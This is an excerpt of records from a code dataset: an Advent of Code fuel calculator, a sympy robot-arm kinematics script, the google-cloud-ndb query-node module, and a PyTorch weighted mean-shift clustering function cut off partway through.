()\n","repo_name":"Rothamsted/agri-schemas","sub_path":"lib/etltools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15650,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
+{"seq_id":"38815035151","text":"def calculate_fuel(weight, recursion=False):\n fuel_needed = weight // 3 - 2 if weight // 3 - 2 > 0 else 0\n if not recursion:\n return fuel_needed\n if fuel_needed == 0:\n return 0\n return fuel_needed + calculate_fuel(fuel_needed, recursion=True)\n\ndef part_1():\n total = 0\n with open('input.txt') as f:\n for line in f:\n total += calculate_fuel(int(line))\n return total\n\ndef part_2():\n total = 0\n with open('input.txt') as f:\n for line in f:\n total += calculate_fuel(int(line), recursion=True)\n return total\n\n\nprint('Part 1: ', part_1())\nprint('Part 2: ', part_2())\n","repo_name":"QnJ1c2kNCg/code-problems","sub_path":"advent_of_code/2019/day_1/day_1.py","file_name":"day_1.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"70891818917","text":"#!/usr/bin/env python\nfrom telnetlib import TM\nimport rospy\nfrom std_msgs.msg import Float64\nimport math\nfrom sympy import symbols, cos, sin, pi, simplify, sqrt, atan2, pprint\nfrom sympy.matrices import Matrix\n\n# 声明变量以供数学表达式\ntheta1, theta2, theta3, theta4, theta5, theta6, theta7 = symbols('theta1:8') # joint angles theta\nd1, d2, d3, d4, d5, d6, d7 = symbols('d1:8') # link offsets\na0, a1, a2, a3, a4, a5, a6 = symbols('a0:7') # link lengths\nalpha0, alpha1, alpha2, alpha3, alpha4, alpha5, alpha6 = symbols('alpha0:7') # joint twist angles\n\n# get the goal position from \nx= float(input(\"input x:\"))\ny= float(input(\"input y:\"))\nz= float(input(\"input z:\"))\n\nprint(\"theta1:\",theta1)\n\n# DH Table\ndh = {alpha0: 0, a0: 0, d1: 0.75, theta1: theta1,\n alpha1: -pi/2., a1: 0.35, d2: 0, theta2: -pi/2.+theta2,\n alpha2: 0, a2: 1.25, d3: 0, theta3: theta3,\n alpha3: -pi/2., a3: -0.054, d4: 1.5, theta4: theta4,\n alpha4: pi/2., a4: 0, d5: 0, theta5: theta5,\n alpha5: -pi/2., a5: 0, d6: 0, theta6: theta6,\n alpha6: 0, a6: 0, d7: 0.303, theta7: 0}\n\ndef Homogeneous_transform_matrix(alpha,a,d,theta):\n HTM = Matrix([[ cos(theta), -sin(theta), 0, a],\n [sin(theta)*cos(alpha), cos(theta)*cos(alpha), -sin(alpha),-sin(alpha)*d],\n [sin(theta)*sin(alpha), cos(theta)*sin(alpha), cos(alpha), cos(alpha)*d],\n [ 0, 0, 0, 1]])\n return HTM\n\n# def Rotation_matrix(alpha,theta):\n# RM = Matrix([[ cos(theta), -sin(theta), 0],\n# [sin(theta)*cos(alpha), cos(theta)*cos(alpha), -sin(alpha)],\n# [sin(theta)*sin(alpha), cos(theta)*sin(alpha), cos(alpha)],\n# [ 0, 0, 1]])\n# return RM\n\ndef Translation_matrix(alpha,a,d):\n TM = Matrix([[a],\n [-sin(alpha)*d],\n [cos(alpha)*d],\n [1]])\n return TM\n\n# RM_2_3 = Homogeneous_transform_matrix(alpha2,a2,d3,theta3).subs(dh)\n# TM_2_3 = Translation_matrix(alpha3,a3,d4).subs(dh)\nf = Homogeneous_transform_matrix(alpha2,a2,d3,theta3).subs(dh)*Translation_matrix(alpha3,a3,d4).subs(dh)\n\nprint(\"f第一行:\\n\",f[0])\nprint(\"f第二行:\\n\",f[1])\nprint(\"f第三行:\\n\",f[2])\nprint(\"f第四行:\\n\",f[3])","repo_name":"Yandong-Luo/arm_kinematics","sub_path":"kinematic/scripts/inverse_kinematic.py","file_name":"inverse_kinematic.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"72316158758","text":"from google.cloud.ndb import exceptions\nfrom google.cloud.ndb import model\n\n\n__all__ = [\n \"Cursor\",\n \"QueryOptions\",\n \"RepeatedStructuredPropertyPredicate\",\n \"ParameterizedThing\",\n \"Parameter\",\n \"ParameterizedFunction\",\n \"Node\",\n \"FalseNode\",\n \"ParameterNode\",\n \"FilterNode\",\n \"PostFilterNode\",\n \"ConjunctionNode\",\n \"DisjunctionNode\",\n \"AND\",\n \"OR\",\n \"Query\",\n \"gql\",\n \"QueryIterator\",\n]\n\n\nCursor = NotImplemented # From `google.appengine.datastore.datastore_query`\n_EQ_OP = \"=\"\n_NE_OP = \"!=\"\n_IN_OP = \"in\"\n_LT_OP = \"<\"\n_GT_OP = \">\"\n_OPS = frozenset([_EQ_OP, _NE_OP, _LT_OP, \"<=\", _GT_OP, \">=\", _IN_OP])\n\n\nclass QueryOptions:\n __slots__ = ()\n\n def __init__(self, *args, **kwargs):\n raise NotImplementedError\n\n\nclass RepeatedStructuredPropertyPredicate:\n __slots__ = ()\n\n def __init__(self, *args, **kwargs):\n raise NotImplementedError\n\n\nclass ParameterizedThing:\n \"\"\"Base class for :class:`Parameter` and :class:`ParameterizedFunction`.\n\n This exists purely for :func:`isinstance` checks.\n \"\"\"\n\n __slots__ = ()\n\n def __eq__(self, other):\n raise NotImplementedError\n\n def __ne__(self, other):\n return not self == other\n\n\nclass Parameter(ParameterizedThing):\n \"\"\"Represents a bound variable in a GQL query.\n\n ``Parameter(1)`` corresponds to a slot labeled ``:1`` in a GQL query.\n ``Parameter('xyz')`` corresponds to a slot labeled ``:xyz``.\n\n The value must be set (bound) separately.\n\n Args:\n key (Union[str, int]): The parameter key.\n\n Raises:\n TypeError: If the ``key`` is not a string or integer.\n \"\"\"\n\n __slots__ = (\"_key\",)\n\n def __init__(self, key):\n if not isinstance(key, (int, str, bytes)):\n raise TypeError(\n \"Parameter key must be an integer or string, not {}\".format(\n key\n )\n )\n self._key = key\n\n def __repr__(self):\n return \"{}({!r})\".format(self.__class__.__name__, self._key)\n\n def __eq__(self, other):\n if not isinstance(other, Parameter):\n return NotImplemented\n\n return self._key == other._key\n\n @property\n def key(self):\n \"\"\"Retrieve the key.\"\"\"\n return self._key\n\n def resolve(self, bindings, used):\n \"\"\"Resolve the current parameter from the parameter bindings.\n\n Args:\n bindings (dict): A mapping of parameter bindings.\n used (Dict[Union[str, int], bool]): A mapping of already used\n parameters. This will be modified if the current parameter\n is in ``bindings``.\n\n Returns:\n Any: The bound value for the current parameter.\n\n Raises:\n .BadArgumentError: If the current parameter is not in ``bindings``.\n \"\"\"\n key = self._key\n if key not in bindings:\n raise exceptions.BadArgumentError(\n \"Parameter :{} is not bound.\".format(key)\n )\n value = bindings[key]\n used[key] = True\n return value\n\n\nclass ParameterizedFunction(ParameterizedThing):\n __slots__ = ()\n\n def __init__(self, *args, **kwargs):\n raise NotImplementedError\n\n\nclass Node:\n \"\"\"Base class for filter expression tree nodes.\n\n Tree nodes are considered immutable, even though they can contain\n Parameter instances, which are not. In particular, two identical\n trees may be represented by the same Node object in different\n contexts.\n\n Raises:\n TypeError: Always, only subclasses are allowed.\n \"\"\"\n\n __slots__ = ()\n\n def __new__(cls):\n if cls is Node:\n raise TypeError(\"Cannot instantiate Node, only a subclass.\")\n return super(Node, cls).__new__(cls)\n\n def __eq__(self, other):\n raise NotImplementedError\n\n def __ne__(self, other):\n return not self == other\n\n def __le__(self, unused_other):\n raise TypeError(\"Nodes cannot be ordered\")\n\n def __lt__(self, unused_other):\n raise TypeError(\"Nodes cannot be ordered\")\n\n def __ge__(self, unused_other):\n raise TypeError(\"Nodes cannot be ordered\")\n\n def __gt__(self, unused_other):\n raise TypeError(\"Nodes cannot be ordered\")\n\n def _to_filter(self, post=False):\n \"\"\"Helper to convert to low-level filter, or :data:`None`.\n\n Raises:\n NotImplementedError: Always. This method is virtual.\n \"\"\"\n raise NotImplementedError\n\n def _post_filters(self):\n \"\"\"Helper to extract post-filter nodes, if any.\n\n Returns:\n None: Always. Because this is the base implementation.\n \"\"\"\n return None\n\n def resolve(self, bindings, used):\n \"\"\"Return a node with parameters replaced by the selected values.\n\n .. note::\n\n Both ``bindings`` and ``used`` are unused by this base class\n implementation.\n\n Args:\n bindings (dict): A mapping of parameter bindings.\n used (Dict[Union[str, int], bool]): A mapping of already used\n parameters. This will be modified if the current parameter\n is in ``bindings``.\n\n Returns:\n Node: The current node.\n \"\"\"\n return self\n\n\nclass FalseNode(Node):\n \"\"\"Tree node for an always-failing filter.\"\"\"\n\n __slots__ = ()\n\n def __eq__(self, other):\n \"\"\"Equality check.\n\n An instance will always equal another :class:`FalseNode` instance. This\n is because they hold no state.\n \"\"\"\n if not isinstance(other, FalseNode):\n return NotImplemented\n return True\n\n def _to_filter(self, post=False):\n \"\"\"(Attempt to) convert to a low-level filter instance.\n\n Args:\n post (bool): Indicates if this is a post-filter node.\n\n Raises:\n .BadQueryError: If ``post`` is :data:`False`, because there's no\n point submitting a query that will never return anything.\n \"\"\"\n if post:\n return None\n raise exceptions.BadQueryError(\"Cannot convert FalseNode to predicate\")\n\n\nclass ParameterNode(Node):\n \"\"\"Tree node for a parameterized filter.\n\n Args:\n prop (~google.cloud.ndb.model.Property): A property describing a value\n type.\n op (str): The comparison operator. One of ``=``, ``!=``, ``<``, ``<=``,\n ``>``, ``>=`` or ``in``.\n param (ParameterizedThing): The parameter corresponding to the node.\n\n Raises:\n TypeError: If ``prop`` is not a\n :class:`~google.cloud.ndb.model.Property`.\n TypeError: If ``op`` is not one of the accepted operators.\n TypeError: If ``param`` is not a :class:`.Parameter` or\n :class:`.ParameterizedFunction`.\n \"\"\"\n\n __slots__ = (\"_prop\", \"_op\", \"_param\")\n\n def __new__(cls, prop, op, param):\n if not isinstance(prop, model.Property):\n raise TypeError(\"Expected a Property, got {!r}\".format(prop))\n if op not in _OPS:\n raise TypeError(\"Expected a valid operator, got {!r}\".format(op))\n if not isinstance(param, ParameterizedThing):\n raise TypeError(\n \"Expected a ParameterizedThing, got {!r}\".format(param)\n )\n obj = super(ParameterNode, cls).__new__(cls)\n obj._prop = prop\n obj._op = op\n obj._param = param\n return obj\n\n def __getnewargs__(self):\n \"\"\"Private API used to specify ``__new__`` arguments when unpickling.\n\n .. note::\n\n This method only applies if the ``pickle`` protocol is 2 or\n greater.\n\n Returns:\n Tuple[~google.cloud.ndb.model.Property, str, ParameterizedThing]:\n A tuple containing the internal state: the property, operation and\n parameter.\n \"\"\"\n return self._prop, self._op, self._param\n\n def __repr__(self):\n return \"ParameterNode({!r}, {!r}, {!r})\".format(\n self._prop, self._op, self._param\n )\n\n def __eq__(self, other):\n if not isinstance(other, ParameterNode):\n return NotImplemented\n return (\n self._prop._name == other._prop._name\n and self._op == other._op\n and self._param == other._param\n )\n\n def _to_filter(self, post=False):\n \"\"\"Helper to convert to low-level filter, or :data:`None`.\n\n Args:\n post (bool): Indicates if this is a post-filter node.\n\n Raises:\n .BadArgumentError: Always. This is because this node represents\n a parameter, i.e. no value exists to be filtered on.\n \"\"\"\n raise exceptions.BadArgumentError(\n \"Parameter :{} is not bound.\".format(self._param.key)\n )\n\n def resolve(self, bindings, used):\n \"\"\"Return a node with parameters replaced by the selected values.\n\n Args:\n bindings (dict): A mapping of parameter bindings.\n used (Dict[Union[str, int], bool]): A mapping of already used\n parameters.\n\n Returns:\n Union[~google.cloud.ndb.query.DisjunctionNode, \\\n ~google.cloud.ndb.query.FilterNode, \\\n ~google.cloud.ndb.query.FalseNode]: A node corresponding to\n the value substituted.\n \"\"\"\n value = self._param.resolve(bindings, used)\n if self._op == _IN_OP:\n return self._prop._IN(value)\n else:\n return self._prop._comparison(self._op, value)\n\n\nclass FilterNode(Node):\n \"\"\"Tree node for a single filter expression.\n\n For example ``FilterNode(\"a\", \">\", 3)`` filters for entities where the\n value ``a`` is greater than ``3``.\n\n .. warning::\n\n The constructor for this type may not always return a\n :class:`FilterNode`. For example:\n\n * The filter ``name != value`` is converted into\n ``(name > value) OR (name < value)`` (a :class:`DisjunctionNode`)\n * The filter ``name in (value1, ..., valueN)`` is converted into\n ``(name = value1) OR ... OR (name = valueN)`` (also a\n :class:`DisjunctionNode`)\n * The filter ``name in ()`` (i.e. a property is among an empty list\n of values) is converted into a :class:`FalseNode`\n * The filter ``name in (value1,)`` (i.e. a list with one element) is\n converted into ``name = value1``, a related :class:`FilterNode`\n with a different ``opsymbol`` and ``value`` than what was passed\n to the constructor\n\n Args:\n name (str): The name of the property being filtered.\n opsymbol (str): The comparison operator. One of ``=``, ``!=``, ``<``,\n ``<=``, ``>``, ``>=`` or ``in``.\n value (Any): The value to filter on / relative to.\n\n Raises:\n TypeError: If ``opsymbol`` is ``\"in\"`` but ``value`` is not a\n basic container (:class:`list`, :class:`tuple`, :class:`set` or\n :class:`frozenset`)\n \"\"\"\n\n __slots__ = (\"_name\", \"_opsymbol\", \"_value\")\n\n def __new__(cls, name, opsymbol, value):\n if isinstance(value, model.Key):\n value = value.to_old_key()\n\n if opsymbol == _NE_OP:\n node1 = FilterNode(name, _LT_OP, value)\n node2 = FilterNode(name, _GT_OP, value)\n return DisjunctionNode(node1, node2)\n\n if opsymbol == _IN_OP:\n if not isinstance(value, (list, tuple, set, frozenset)):\n raise TypeError(\n \"in expected a list, tuple or set of values; \"\n \"received {!r}\".format(value)\n )\n nodes = [\n FilterNode(name, _EQ_OP, sub_value) for sub_value in value\n ]\n if not nodes:\n return FalseNode()\n if len(nodes) == 1:\n return nodes[0]\n return DisjunctionNode(*nodes)\n\n instance = super(FilterNode, cls).__new__(cls)\n instance._name = name\n instance._opsymbol = opsymbol\n instance._value = value\n return instance\n\n def __getnewargs__(self):\n \"\"\"Private API used to specify ``__new__`` arguments when unpickling.\n\n .. note::\n\n This method only applies if the ``pickle`` protocol is 2 or\n greater.\n\n Returns:\n Tuple[str, str, Any]: A tuple containing the\n internal state: the name, ``opsymbol`` and value.\n \"\"\"\n return self._name, self._opsymbol, self._value\n\n def __repr__(self):\n return \"{}({!r}, {!r}, {!r})\".format(\n self.__class__.__name__, self._name, self._opsymbol, self._value\n )\n\n def __eq__(self, other):\n if not isinstance(other, FilterNode):\n return NotImplemented\n\n return (\n self._name == other._name\n and self._opsymbol == other._opsymbol\n and self._value == other._value\n )\n\n def _to_filter(self, post=False):\n \"\"\"Helper to convert to low-level filter, or :data:`None`.\n\n Args:\n post (bool): Indicates if this is a post-filter node.\n\n Returns:\n None: If this is a post-filter.\n\n Raises:\n NotImplementedError: If the ``opsymbol`` is ``!=`` or ``in``, since\n they should correspond to a composite filter. This should\n never occur since the constructor will create ``OR`` nodes for\n ``!=`` and ``in``\n NotImplementedError: If not a post-filter and the ``opsymbol``\n is a simple comparison. (For now) this is because the original\n implementation relied on a low-level datastore query module.\n \"\"\"\n if post:\n return None\n if self._opsymbol in (_NE_OP, _IN_OP):\n raise NotImplementedError(\n \"Inequality filters are not single filter \"\n \"expressions and therefore cannot be converted \"\n \"to a single filter ({!r})\".format(self._opsymbol)\n )\n\n raise NotImplementedError(\"Missing datastore_query.make_filter\")\n\n\nclass PostFilterNode(Node):\n \"\"\"Tree node representing an in-memory filtering operation.\n\n This is used to represent filters that cannot be executed by the\n datastore, for example a query for a structured value.\n\n Args:\n predicate (Callable[[Any], bool]): A filter predicate that\n takes a datastore entity (typically as a protobuf) and\n returns :data:`True` or :data:`False` if the entity matches\n the given filter.\n \"\"\"\n\n __slots__ = (\"predicate\",)\n\n def __new__(cls, predicate):\n instance = super(PostFilterNode, cls).__new__(cls)\n instance.predicate = predicate\n return instance\n\n def __getnewargs__(self):\n \"\"\"Private API used to specify ``__new__`` arguments when unpickling.\n\n .. note::\n\n This method only applies if the ``pickle`` protocol is 2 or\n greater.\n\n Returns:\n Tuple[Callable[[Any], bool],]: A tuple containing a single value,\n the ``predicate`` attached to this node.\n \"\"\"\n return (self.predicate,)\n\n def __repr__(self):\n return \"{}({})\".format(self.__class__.__name__, self.predicate)\n\n def __eq__(self, other):\n if not isinstance(other, PostFilterNode):\n return NotImplemented\n return self is other or self.predicate == other.predicate\n\n def _to_filter(self, post=False):\n \"\"\"Helper to convert to low-level filter, or :data:`None`.\n\n Args:\n post (bool): Indicates if this is a post-filter node.\n\n Returns:\n Tuple[Callable[[Any], bool], None]: If this is a post-filter, this\n returns the stored ``predicate``, otherwise it returns\n :data:`None`.\n \"\"\"\n if post:\n return self.predicate\n else:\n return None\n\n\nclass _BooleanClauses:\n \"\"\"This type will be used for symbolically performing boolean operations.\n\n Internally, the state will track a symbolic expression like::\n\n A or (B and C) or (A and D)\n\n as a list of the ``OR`` components::\n\n [A, B and C, A and D]\n\n When ``combine_or=False``, it will track ``AND`` statements as a list,\n making the final simplified form of our example::\n\n [[A], [B, C], [A, D]]\n\n Via :meth:`add_node`, we will ensure that new nodes will be correctly\n combined (via ``AND`` or ``OR``) with the current expression.\n\n Args:\n name (str): The name of the class that is tracking a\n boolean expression.\n combine_or (bool): Indicates if new nodes will be combined\n with the current boolean expression via ``AND`` or ``OR``.\n \"\"\"\n\n __slots__ = (\"name\", \"combine_or\", \"or_parts\")\n\n def __init__(self, name, combine_or):\n self.name = name\n self.combine_or = combine_or\n if combine_or:\n # For ``OR()`` the parts are just nodes.\n self.or_parts = []\n else:\n # For ``AND()`` the parts are \"segments\", i.e. node lists.\n self.or_parts = [[]]\n\n def add_node(self, node):\n \"\"\"Update the current boolean expression.\n\n This uses the distributive law for sets to combine as follows:\n\n - ``(A or B or C or ...) or D`` -> ``A or B or C or ... or D``\n - ``(A or B or C or ...) and D`` ->\n ``(A and D) or (B and D) or (C and D) or ...``\n\n Args:\n node (Node): A node to add to the list of clauses.\n\n Raises:\n TypeError: If ``node`` is not a :class:`.Node`.\n \"\"\"\n if not isinstance(node, Node):\n raise TypeError(\n \"{}() expects Node instances as arguments; \"\n \"received a non-Node instance {!r}\".format(self.name, node)\n )\n\n if self.combine_or:\n if isinstance(node, DisjunctionNode):\n # [S1 or ... or Sn] or [A1 or ... or Am]\n # -> S1 or ... Sn or A1 or ... or Am\n self.or_parts.extend(node._nodes)\n else:\n # [S1 or ... or Sn] or [A1]\n # -> S1 or ... or Sn or A1\n self.or_parts.append(node)\n else:\n if isinstance(node, DisjunctionNode):\n # [S1 or ... or Sn] and [A1 or ... or Am]\n # -> [S1 and A1] or ... or [Sn and A1] or\n # ... or [Sn and Am] or ... or [Sn and Am]\n new_segments = []\n for segment in self.or_parts:\n # ``segment`` represents ``Si``\n for sub_node in node:\n # ``sub_node`` represents ``Aj``\n new_segment = segment + [sub_node]\n new_segments.append(new_segment)\n # Replace wholesale.\n self.or_parts[:] = new_segments\n elif isinstance(node, ConjunctionNode):\n # [S1 or ... or Sn] and [A1 and ... and Am]\n # -> [S1 and A1 and ... and Am] or ... or\n # [Sn and A1 and ... and Am]\n for segment in self.or_parts:\n # ``segment`` represents ``Si``\n segment.extend(node._nodes)\n else:\n # [S1 or ... or Sn] and [A1]\n # -> [S1 and A1] or ... or [Sn and A1]\n for segment in self.or_parts:\n segment.append(node)\n\n\nclass ConjunctionNode(Node):\n \"\"\"Tree node representing a boolean ``AND`` operator on multiple nodes.\n\n .. warning::\n\n The constructor for this type may not always return a\n :class:`ConjunctionNode`. For example:\n\n * If the passed in ``nodes`` has only one entry, that single node\n will be returned by the constructor\n * If the resulting boolean expression has an ``OR`` in it, then a\n :class:`DisjunctionNode` will be returned; e.g.\n ``AND(OR(A, B), C)`` becomes ``OR(AND(A, C), AND(B, C))``\n\n Args:\n nodes (Tuple[Node, ...]): A list of nodes to be joined.\n\n Raises:\n TypeError: If ``nodes`` is empty.\n RuntimeError: If the ``nodes`` combine to an \"empty\" boolean\n expression.\n \"\"\"\n\n __slots__ = (\"_nodes\",)\n\n def __new__(cls, *nodes):\n if not nodes:\n raise TypeError(\"ConjunctionNode() requires at least one node.\")\n elif len(nodes) == 1:\n return nodes[0]\n\n clauses = _BooleanClauses(\"ConjunctionNode\", combine_or=False)\n for node in nodes:\n clauses.add_node(node)\n\n if not clauses.or_parts:\n # NOTE: The original implementation returned a ``FalseNode``\n # here but as far as I can tell this code is unreachable.\n raise RuntimeError(\"Invalid boolean expression\")\n\n if len(clauses.or_parts) > 1:\n return DisjunctionNode(\n *[ConjunctionNode(*segment) for segment in clauses.or_parts]\n )\n\n instance = super(ConjunctionNode, cls).__new__(cls)\n instance._nodes = clauses.or_parts[0]\n return instance\n\n def __getnewargs__(self):\n \"\"\"Private API used to specify ``__new__`` arguments when unpickling.\n\n .. note::\n\n This method only applies if the ``pickle`` protocol is 2 or\n greater.\n\n Returns:\n Tuple[Node, ...]: The list of stored nodes, converted to a\n :class:`tuple`.\n \"\"\"\n return tuple(self._nodes)\n\n def __iter__(self):\n return iter(self._nodes)\n\n def __repr__(self):\n all_nodes = \", \".join(map(str, self._nodes))\n return \"AND({})\".format(all_nodes)\n\n def __eq__(self, other):\n if not isinstance(other, ConjunctionNode):\n return NotImplemented\n\n return self._nodes == other._nodes\n\n def _to_filter(self, post=False):\n \"\"\"Helper to convert to low-level filter, or :data:`None`.\n\n Args:\n post (bool): Indicates if this is a post-filter node.\n\n Returns:\n Optional[Node]: The single or composite filter corresponding to\n the pre- or post-filter nodes stored.\n\n Raises:\n NotImplementedError: If a composite filter must be returned. This\n is because the original implementation relied on a low-level\n datastore query module.\n \"\"\"\n filters = []\n for node in self._nodes:\n if isinstance(node, PostFilterNode) == post:\n as_filter = node._to_filter(post=post)\n if as_filter:\n filters.append(as_filter)\n\n if not filters:\n return None\n if len(filters) == 1:\n return filters[0]\n\n raise NotImplementedError(\"Missing datastore_query.CompositeFilter\")\n\n def _post_filters(self):\n \"\"\"Helper to extract post-filter nodes, if any.\n\n Filters all of the stored nodes that are :class:`PostFilterNode`.\n\n Returns:\n Optional[Node]: One of the following:\n\n * :data:`None` if there are no post-filter nodes in this ``AND()``\n clause\n * The single node if there is exactly one post-filter node, e.g.\n if the only node in ``AND(A, B, ...)`` that is a post-filter\n node is ``B``\n * The current node if every stored node a post-filter node, e.g.\n if all nodes ``A, B, ...`` in ``AND(A, B, ...)`` are\n post-filter nodes\n * A **new** :class:`ConjunctionNode` containing the post-filter\n nodes, e.g. if only ``A, C`` are post-filter nodes in\n ``AND(A, B, C)``, then the returned node is ``AND(A, C)``\n \"\"\"\n post_filters = [\n node for node in self._nodes if isinstance(node, PostFilterNode)\n ]\n if not post_filters:\n return None\n if len(post_filters) == 1:\n return post_filters[0]\n if post_filters == self._nodes:\n return self\n return ConjunctionNode(*post_filters)\n\n def resolve(self, bindings, used):\n \"\"\"Return a node with parameters replaced by the selected values.\n\n Args:\n bindings (dict): A mapping of parameter bindings.\n used (Dict[Union[str, int], bool]): A mapping of already used\n parameters. This will be modified for each parameter found\n in ``bindings``.\n\n Returns:\n Node: The current node, if all nodes are already resolved.\n Otherwise returns a modifed :class:`ConjunctionNode` with\n each individual node resolved.\n \"\"\"\n resolved_nodes = [node.resolve(bindings, used) for node in self._nodes]\n if resolved_nodes == self._nodes:\n return self\n\n return ConjunctionNode(*resolved_nodes)\n\n\nclass DisjunctionNode(Node):\n \"\"\"Tree node representing a boolean ``OR`` operator on multiple nodes.\n\n .. warning::\n\n This constructor may not always return a :class:`DisjunctionNode`.\n If the passed in ``nodes`` has only one entry, that single node\n will be returned by the constructor.\n\n Args:\n nodes (Tuple[Node, ...]): A list of nodes to be joined.\n\n Raises:\n TypeError: If ``nodes`` is empty.\n \"\"\"\n\n __slots__ = (\"_nodes\",)\n\n def __new__(cls, *nodes):\n if not nodes:\n raise TypeError(\"DisjunctionNode() requires at least one node\")\n elif len(nodes) == 1:\n return nodes[0]\n\n instance = super(DisjunctionNode, cls).__new__(cls)\n instance._nodes = []\n\n clauses = _BooleanClauses(\"DisjunctionNode\", combine_or=True)\n for node in nodes:\n clauses.add_node(node)\n\n instance._nodes[:] = clauses.or_parts\n return instance\n\n def __getnewargs__(self):\n \"\"\"Private API used to specify ``__new__`` arguments when unpickling.\n\n .. note::\n\n This method only applies if the ``pickle`` protocol is 2 or\n greater.\n\n Returns:\n Tuple[Node, ...]: The list of stored nodes, converted to a\n :class:`tuple`.\n \"\"\"\n return tuple(self._nodes)\n\n def __iter__(self):\n return iter(self._nodes)\n\n def __repr__(self):\n all_nodes = \", \".join(map(str, self._nodes))\n return \"OR({})\".format(all_nodes)\n\n def __eq__(self, other):\n if not isinstance(other, DisjunctionNode):\n return NotImplemented\n\n return self._nodes == other._nodes\n\n def resolve(self, bindings, used):\n \"\"\"Return a node with parameters replaced by the selected values.\n\n Args:\n bindings (dict): A mapping of parameter bindings.\n used (Dict[Union[str, int], bool]): A mapping of already used\n parameters. This will be modified for each parameter found\n in ``bindings``.\n\n Returns:\n Node: The current node, if all nodes are already resolved.\n Otherwise returns a modifed :class:`DisjunctionNode` with\n each individual node resolved.\n \"\"\"\n resolved_nodes = [node.resolve(bindings, used) for node in self._nodes]\n if resolved_nodes == self._nodes:\n return self\n\n return DisjunctionNode(*resolved_nodes)\n\n\n# AND and OR are preferred aliases for these.\nAND = ConjunctionNode\nOR = DisjunctionNode\n\n\nclass Query:\n __slots__ = ()\n\n def __init__(self, *args, **kwargs):\n raise NotImplementedError\n\n\ndef gql(*args, **kwargs):\n raise NotImplementedError\n\n\nclass QueryIterator:\n __slots__ = ()\n\n def __init__(self, *args, **kwargs):\n raise NotImplementedError\n","repo_name":"arthrone/UncleBot","sub_path":"ndb/src/google/cloud/ndb/query.py","file_name":"query.py","file_ext":"py","file_size_in_byte":27839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"14569543118","text":"from ast import Lambda\nimport matplotlib\nimport math\nimport torch\nimport numpy as np\nfrom scipy.spatial import distance\n\ndef K(x, y, w, h):\n # print(-torch.square(x - y) * w)\n # print(-torch.sum(torch.square(x - y) * w))\n # exit()\n return torch.exp(-torch.sum(torch.square(x - y) * w) / h)\n\n\ndef WBMS(X, h, _lambda = 1, tmax = 30):\n # print(id(X))\n n = X.shape[0]\n p = X.shape[1]\n K_matrix = torch.zeros(n, n)\n w = torch.full([p], 1 / p)\n # _ = [(i + 1) / p for i in range(p)]\n # w = torch.tensor(_)\n # w = torch.rand(p)\n # print(w)\n D = torch.zeros(p)\n X1 = X.clone()\n X2 = X.clone()\n for t in range(tmax):\n # for i in range(n):\n # for j in range(i, n):\n # K_matrix[i, j] = K(X2[i, :], X2[j, :], w, h)\n \n # for i in range(n):\n # for j in range(i, n):\n # K_matrix[j, i] = K_matrix[i, j]\n\n # dist_Matrix = distance.cdist(X2, X2, 'euclidean')\n # dist_Matrix = torch.from_numpy(dist_Matrix)\n # print(dist_Matrix.shape)\n # print(dist_Matrix)\n # print(dist_Matrix * dist_Matrix)\n \n # dist_Matrix = dist_Matrix * dist_Matrix * 1 / p / h \n # dist_Matrix = torch.exp(-dist_Matrix)\n # K_matrix = dist_Matrix.clone()\n\n # print(K_matrix)\n # print(dist_Matrix)\n # print(K_matrix == dist_Matrix)\n # print(torch.sum(K_matrix == dist_Matrix))\n # exit()\n\n # for i in range(n):\n # I = list(range(0, n))\n # del I[i]\n # s = torch.sum(K_matrix[I, i])\n # for l in range(p):\n # X1[i, l] = torch.sum(X2[I, l] * K_matrix[I, i])\n # X1[i, :] = X1[i, :] / s\n # print(X1)\n # exit()\n\n w_coeff = torch.sqrt(w)\n X2_sqrt_w_coeff = X2 * w_coeff\n dist_Matrix = distance.cdist(X2_sqrt_w_coeff, X2_sqrt_w_coeff, 'euclidean')\n dist_Matrix = torch.from_numpy(dist_Matrix)\n\n dist_Matrix = dist_Matrix * dist_Matrix / h\n # dist_Matrix = dist_Matrix * dist_Matrix * 1 / p / h \n dist_Matrix = torch.exp(-dist_Matrix)\n K_matrix = dist_Matrix.clone()\n\n Identify_Matrix = 1 - torch.eye(K_matrix.shape[0])\n # print(K_matrix * Identify_Matrix)\n K_matrix = K_matrix * Identify_Matrix\n X1 = torch.mm(K_matrix.t(), X2)\n s = torch.sum(K_matrix, dim = 1)\n s = torch.unsqueeze(s, dim = 1)\n # print(s)\n X1 = X1 / s\n \n D = torch.sum(torch.square(X - X1), dim = 0)\n w = torch.exp(-D / _lambda)\n w = w / torch.sum(w)\n X2 = X1.clone()\n # print('Turn One : ', X2)\n # eturn X2, w\n X1 = X.clone()\n X2 = X.clone()\n # print(id(X1))\n # print(id(X2))\n # print(X2)\n # exit()\n print(w)\n for t in range(tmax):\n # for i in range(n):\n # for j in range(i, n):\n # K_matrix[i, j] = K(X2[i, :], X2[j, :], w, h)\n\n # for i in range(n):\n # for j in range(i, n):\n # K_matrix[j, i] = K_matrix[i, j]\n\n # print(K_matrix)\n w_coeff = torch.sqrt(w)\n \n # w_coeff = torch.unsqueeze(w_coeff, dim = 1)\n # print(w_coeff)\n # print(w_coeff.shape)\n # print(X2.shape)\n X2_sqrt_w_coeff = X2 * w_coeff\n dist_Matrix = distance.cdist(X2_sqrt_w_coeff, X2_sqrt_w_coeff, 'euclidean')\n dist_Matrix = torch.from_numpy(dist_Matrix)\n # print(dist_Matrix.shape)\n # print(dist_Matrix)\n # print(dist_Matrix * dist_Matrix)\n \n dist_Matrix = dist_Matrix * dist_Matrix / h\n # dist_Matrix = dist_Matrix * dist_Matrix * 1 / p / h \n dist_Matrix = torch.exp(-dist_Matrix)\n K_matrix = dist_Matrix.clone()\n # print(K_matrix)\n # exit()\n # for i in range(n):\n # I = list(range(0, n))\n # del I[i]\n # s = torch.sum(K_matrix[I, i])\n # for l in range(p):\n # # print(X2[I, l].shape)\n # # print(K_matrix[I, i].shape)\n # # print((X2[I, l] * K_matrix[I, i]).shape)\n # # exit()\n # X1[i, l] = torch.sum(X2[I, l] * K_matrix[I, i])\n # X1[i, :] = 